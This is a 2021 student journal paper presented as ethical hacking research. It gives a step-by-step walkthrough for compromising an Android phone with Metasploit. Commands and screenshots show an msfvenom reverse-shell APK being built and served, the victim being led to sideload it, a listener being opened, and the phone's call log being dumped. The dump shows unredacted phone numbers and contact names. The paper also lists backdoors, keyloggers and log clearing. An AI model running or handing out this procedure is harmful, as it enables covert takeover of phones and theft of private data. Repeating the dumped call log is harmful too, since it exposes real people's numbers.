



IN APPLIED SCIENCE & ENGINEERING TECHNOLOGY

Volume: 9 Issue: VI Month of publication: June 2021

DOI: https://doi.org/10.22214/ijraset.2021.36042

www.ijraset.com

Call: 🕥 08813907089 🔰 E-mail ID: ijraset@gmail.com



Sneaking into Mobile

K. Lakshmi Supraja¹, M. Dali Naga Sri Sai², M. Ramya³, K. Mohith Krishna Sai⁴, Mr. V. Advaitha⁵ ^{1, 2, 3, 4}Student, CSE Department & GEC, Gudlavalleru, Krishna ⁵(M. Tech) Assistant Professor, CSE Department & GEC Gudlavalleru, Krishna

Abstract: As the numbers of android mobiles are increasing day by day and are used to store sensitive information. So, maintaining security is becoming a difficult thing. Here comes the role of penetration testing. The process of performing a penetration test is to verify that mobile devices are vulnerable to security risk or not. We will exploit the mobile devices by preparing and performing the penetration test using Metasploit. It is a framework for developing and executing exploit code against a remote target machine. The main goal is to provide an understanding of mobile device penetration testing using Metasploit Framework and how to utilize it as a security professional.

Keywords: Penetration Testing, Vulnerability, Metasploit, Exploitation.

I. INTRODUCTION

Nowadays mobile users are increasing day by day, hence android mobile growing rapidly worldwide. The mobile device has become an inseparable part of life today. People are relying less on the computer as mobile has made our life simpler, where mobile has provided technological advances by having the option to send messages, email and have the feature of download applications via the internet. The world we are living in is gradually becoming dependent on networks. As of now, we rely on digital devices more than ever before. Despite a seemingly endless number of new digital devices connected to the internet, most people using these devices don't consider safety and security to be a priority. The security threat is also increasing together with the growth of its users. Therefore, cyber-attacks are becoming increasingly dangerous. It could be that they assume hackers are only concerned with causing trouble for regular computersbut that couldn't be further from the truth. In fact, many of these digital devices are far more vulnerable to hacking because users don't protect them with the necessary security software or take the proper measures to ensure that they are protected. All Smartphones, as computers, are preferred targets of attacks. This is because these devices have family pictures of pets, passwords, and more. For attackers, these items are a digital passport to access everything they would need to know about a person. Therefore, attacks on mobile devices are on the rise. These attacks exploit weaknesses inherent in smartphones that can come from the communication mode-like short Message Service (SMS), MMS, wi-fi, Bluetooth, USB drive. These are the target software vulnerabilities in the browser or operating system while some malicious software relies on the weak knowledge of an average user. The attackers are easily able to compromise the mobile network because of various vulnerabilities and the majority of the attacks are because of the untrusted apps, hackers misuse these advances for malicious purposes like sending malformed Android Application Package files or click attack entile to attract victims to fancy links using which attackers get access to control to victim system partially or completely for his/her personal benefits.

Every technology which we are handling has a great advantage and unnoticeable disadvantage too. That is mainly used as loopholes by hackers and this leads to many crimes nowadays.

So, through the role of penetration testing, verify that mobile devices are vulnerable to security risk or not. We will exploit the mobile devices by preparing and performing the penetration test using Metasploit.

II. RELATED WORK

- A. I Pradeep, G. Sakthirel about "Ethical Hacking and Penetration testing for securing us from Hackers" On March 202
- B. "Cyber security and Ethical Hacking: the importance of protecting user data" By Ahmad Mtairalhawamleh on December 2020.
- C. Kumar J.D., Srikanth V., Tejeswini L." Email phishing attack mitigation using server side email addon" Indian Journal of Science and Technology,2016
- D. Jaya Rohit K., Siva Rama Krishna M., Geetha Krishna C.H., Aruna Sri P.S.G. "Securing message at end-to-end mobile communication using cryptography algorithm" Indian Journal of Science and Technology,2016
- E. L. Rondeau and D. Hopkins, "Mobile Device Vulnerabilities & Securities," Mob. Device Vulnerabilities Secur., pp. 30–35, 2014
- F. Thomas, Georg Charles Sturt University, School of Computing and Mathematics, Issues of Implied Trust in Ethical Hacking



International Journal for Research in Applied Science & Engineering Technology (IJRASET)

ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429 Volume 9 Issue VI June 2021- Available at www.ijraset.com

III. METHODOLOGY

This attack comes in different phases. It takes a lot of skill and effort for ethical hackers to identify all the vulnerabilities and exploit them to their full benefit. This simulated attack is used to pinpoint all areas of weaknesses that the organization faces working towards strengthening them. The phases of ethical hacking are:

- 1) Reconnaissance
- 2) Scanning and Enumeration
- 3) Gaining Access
- 4) Maintaining Access
- 5) Clearing Tracks



Fig. 1 Phases of Ethical Hacking.

A. Reconnaissance

Collecting information and knowing deeply about the target system is known as "Reconnaissance". This data is the main street for the programmer to hack the target system. It involves Foot printing, Enumeration, and Scanning.

1) Types Of Scanning And Enumeration



Passive reconnaissance.

 → Active reconnaissance.

B. Scanning And Enumeration

Enumeration in information security is the process of extracting user names, machine names, network resources, and other services from a system. All the gathered information is used to identify the vulnerabilities or weak points in system security and then tries to exploit it.

- 1) Types of Scanning and Enumeration
- ✤ P TTL values.
- ← TCP Window size.
- ← TCP Options (generally, in TCP SYN and SYN+ACK packets).
- ✤ DHCP requests.
- ✤ ICMP requests.



C. Gaining Acces

This phase is where an attacker breaks into the system/network using various tools or methods. After entering into a system, he has to increase his privilege to administrator level so he can install an application he needs or modify data or hide data.

1) Types of Ganning Access

- ← WEP Introduction
- → Basic WEP cracking
- ← Fake authentication attack
- ✦ ARP request replay

- Capturing handshakes
- Creating wordlists
- ✤ Wordlist cracking
- ✦ Securing network from attacks

D. Maintaining Access

It is the process where the hacker has already gained access into a system. After gaining access, the hacker installs some backdoors in order to enter into the system when he needs access in this owned system in future. Metasploit is the preferred tool in this process.

1) Types of Maintaing Access

- ✤ Main Keyloggers
- → Backdoors
- Command and control channel staining Access

E. Clearing Tracks

Once an attacker finishes his work, he wants to erase all tracks leading the investigators tracing back to him. This can be done using. Disable auditing. Clearing logs.

IV. RESULTS

This work has been implemented in kali linux through metasploit tool. The following results depict how the process have been done, what are the commands used.

1) Step1: open Linux terminal



Fig. 1 opening of linux terminal.



2) Step2: To enter into Root Mode. Use Command sudo



Fig.2 Enter 'sudo su' command to enter into root level.

3) Step3: Type "ifconfig" into the terminal session in order to view the network interface configuration of the device we are using to execute the attack.



Fig.3 Showing IP address through 'Ifconfig' command.

- 4) Step4: So now we have to create a payload which we may execute on the victim's device in order to execute the attack successfully.
 - msfvenom -p android/meterpreter/reverse_tcp LHOST=[your_IP-ADRESS] LPORT=[your_PORT]R>

/var/www/androidhack.apk/

A	- sound go under the Reakward () from the procedult's Reakward	a, 1 🗢
<pre></pre>		
In Prage-Frien conflicts, mainten etu assa Sont 12-6-6.1 menen bisto de al mene 10.1 medicioni 14 scopeia maintenti ne polete ci a pote mene (ci a sil) ne polete ci a pote mene (ci a sil) ne aronz 8 dende 2 sectorum di arrive a ti averni 8 dende 2 sectorum di arrive 8		
<pre>whave: figure161/inp_informationActing_MULTING MULTING MU</pre>		
msfvenom -p android/meterpreter/reverse_tcj	p LHOST=192.168.0.106 LPORT=3333 R > /var/www/html	l/virus.apk

Fig.4 Created a Playload using the above 'msfvenom' command



ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429 Volume 9 Issue VI June 2021- Available at www.ijraset.com

5) Step5: In the below screenshot you can see the payload has been created.



Fig. 5 Playload have been created

6) *Step6:* Firstly, we need to check the status of the Apache server (Web Application Server) and to do so enter the following commands in the terminal



achez start					
Constant (Chose/solithiak	well)				
se	rvice apach	e2 start			
Fig. 6 Che	cking the status of Apache	e server using 'serv	ice apache2 sta	rt' command	

7) Step 7: After starting the apache server we have to check status of apache server.



The output of Apache server status.



Fig.7.1 Output of Apache server status.



8) *Step8*: Now, all seems to be set up correctly, and we can start the msfconsole.



Fig.7.2 Starting the metasploit framework console.

9) Step9: Use multi/handler exploit, set payload the same as generated previously(This will help us to generate a listener).



Fig. 8 use multi/handler exploit

10) Step10: Now, we will use the 'show options' command in order to see the configuration, set the LHOST(Local Host) and LPORT(Local Port) values the same as used in the payload (Type the following commands for the same).

```
show options
        -
                        > show options
msf6 exploit(
Module options (exploit/multi/handler):
  Name Current Setting Required Description
                        _____
        _____
Payload options (android/meterpreter/reverse_tcp):
         Current Setting Required Description
  Name
                                   The listen address (an interface may be specified)
  LHOST
                         ves
  LPORT 4444
                         yes
                                   The listen port
Exploit target:
  Id Name
      Wildcard Target
  0
msf6 exploit(=ulti/handler) >
```

Fig.9 to view the configurations ,we use show options.



11) Step11: Here, the LHOST is not set, so we just need to set the LHOST to our attacking machine's IP, and we can do this by the following command



Fig. 10 setting LHOST

12) Step12: Here, the LPORT is already set, if you want to change LPORT, and we can do this by the following command
 set LPORT your port number



Fig. 11 Setting LPORT

13) Step13: Now, we can type 'exploit' in order to launch the desired attack.



Fig. 12 type exploit command for launching desired attack.

14) Step14: Type the following web address in a web browser on the victim's phone.

http:/	//192.168.144.128/dont.apk	
	18:02 × 📾 🕫 • 😽	Solida 1 58% &
	① 192.168.144.128/dont.apk	V 🖉
	This site can't be reached	
	Cancel	
	Reload	

Fig .13 Typing web address in victims phone.



15) Step15: Enable the settings to introduce applications from outside sources. Lastly hit the install choice at the base.



16) Step16: Once the victim installs the application and runs it, the meterpreter session would be opened immediately at the attacker's terminal.



Fig. 15.1 selecting the options

International Journal for Research in Applied Science & Engineering Technology (IJRASET)



ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429 Volume 9 Issue VI June 2021- Available at www.ijraset.com



17) Step17: Type "background" and then "sessions" to list down all the sessions from where you can see all the IPs connected to the machine.

+	background	
meter [*] Ba msf6	<u>preter</u> > background ackgrounding session 3 exploit(multi/hendler) >	

Fig. 16 Type Background command

18) Step18: You can interact with any session by typing the following command:

		🔶 se	ssions		
msf6	ackgro exploi	unding session 3 t(antrictennities) > sessions			
Activ	e sess	ions ====			
Id	N. me	Туре	Information	Connection	
1 2 3		meterpreter dalvik/android meterpreter dalvik/android meterpreter dalvik/android	u0_a295 ລ localhost u0_a295 ລ localhost u0_a295 ລ localhost	192.168.0.106:3333 → 192.168.0.102:55136 (192.168.0.102) 192.168.0.106:3333 → 192.168.0.102:55140 (192.168.0.102) 192.168.0.106:3333 → 192.168.0.102:55142 (192.168.0.102)	

Fig. 17 Showing all the sessions.

19) Step19: You can interact with any session by typing the following command:

```
sessions -i [session ID]
```

```
msf6 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...
```

Fig. 18 Interacting particular session with its ID.

20) Step20: Now you are ready to perform the task on the attacked device



Fig .19 perform task on victims phone using dump_Calll0g command.



International Journal for Research in Applied Science & Engineering Technology (IJRASET) ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429

Volume 9 Issue VI June 2021- Available at www.ijraset.com

21) Step 21: call_logs will be stored in your local system In the .txt file.



Fig. 20 In .txt file, call logs have been stored.

22) Step22: Open the .txt file to see your attacker call_logs.

0	pen 🔫	1	+ 1				
1							
2	1000 P. 1000		and the second				
3	L+J Call	1	og dump				
2	Date: 70	21	-05-73 18:0	4:30 5300	41643 +05	30	
ž	OS: Andr		d 11 - 1 in	IX 4 14 1	3-2084071	(aarch64)	
8	Remote I	P	192.168.0.	102			
	Remote P	01	t: 55142				
10	anterna carace de						
11	#1						
12	Number		+9193987788	356			
13	Name		Suresh Cse		and the state of the state of the state		
14	Date	з.	Sun May 23	17:29:36	GMT+05:30	2021	
15	Type		OUIGOING				
- 12	Duration		7.7				
18	#2						
19	Number		+9163035522	283			
20	Name		Pani jio				π
21	Date		Sun May 23	16:28:43	GMT+05:30	2021	
22	Туре		OUTGOING				
23	Duration		129				
24	22-						
25	#3						
22	Number		+9103035522	183			
58	Date		Sup May 23	16.27.48	GMT+05+30	2021	
29	Type		MISSED	10127140	0.000000	2022	
30	Duration		0				
31	An one of the second of the						
32	#4						
33	Number		+9163035522	283			
34	Name		Pani jio	and the second second			
35	Date	•	Sun May 23	16:18:50	GMT+05:30	2021	
30	Type		OUTGOING				
36	Duration		437				
39	#5						
40	Number	÷.	+9193987788	356			
41	Name		Suresh Cse				
42	Date		Sun May 23	12:18:34	GMT+05:30	2021	
43	туре		INCOMING				
44	Duration		27				
45							
22	#6			170			
48	Name		SATISH 110	New			
40	Date	Ξ.	Sun May 23	12:08:43	GMT+05:30	2021	
50	Type		INCOMING				
51	Duration	÷.	34				
52							
53	#7						
54	Number		+9163035522	283			
55	Name		Pani jio				
50	Date		Sun May 23	11:54:48	GMT+05:30	2021	
57	Type		OUTGOING				

Fig. 21 call lists of victims phone.

V. CONCLUSION

The present study exploring Cyber Security and Ethical Hacking. In that view, Ethical hacking must be practiced. We must have some knowledge in order to save ourselves in the advanced world. In this paper, we are providing how to hack a particular mobile using kali Linux through the Metasploit tool. we might not only attack within the same network but also being indifferent network can attack. By doing this, we can bring a level of security to our friends and family. mainly in order to be safe from attackers, so, we don't install Android Application Package file from an unknown source.



International Journal for Research in Applied Science & Engineering Technology (IJRASET)

ISSN: 2321-9653; IC Value: 45.98; SJ Impact Factor: 7.429 Volume 9 Issue VI June 2021- Available at www.ijraset.com

VI. FUTURE SCOPE

For future work, we explored different ways of how to Hack a particular Android mobile. There is a need to understand the hacker's intention to secure our mobile from Hacking. This project tells us some particular tools and mechanisms to hack a particular device such that we can secure our devices from giving unauthorized access.

REFERENCES

- [1] Wikipedia
- [2] "Concept of Ethical Hacking" By Rajesh Durganath, Varun Totakura.
- [3] Penetration testing in today's world " By Temitope Olufohunsi.
- [4] What is pen test (penetration testing)? Definition from WhatIs.com." [Online]. Available: https://searchsecurity.techtarget.com/definition/penetration- testing. [Accessed: 02-Apr-2020]











45.98



IMPACT FACTOR: 7.129







INTERNATIONAL JOURNAL FOR RESEARCH

IN APPLIED SCIENCE & ENGINEERING TECHNOLOGY

Call : 08813907089 🕓 (24*7 Support on Whatsapp)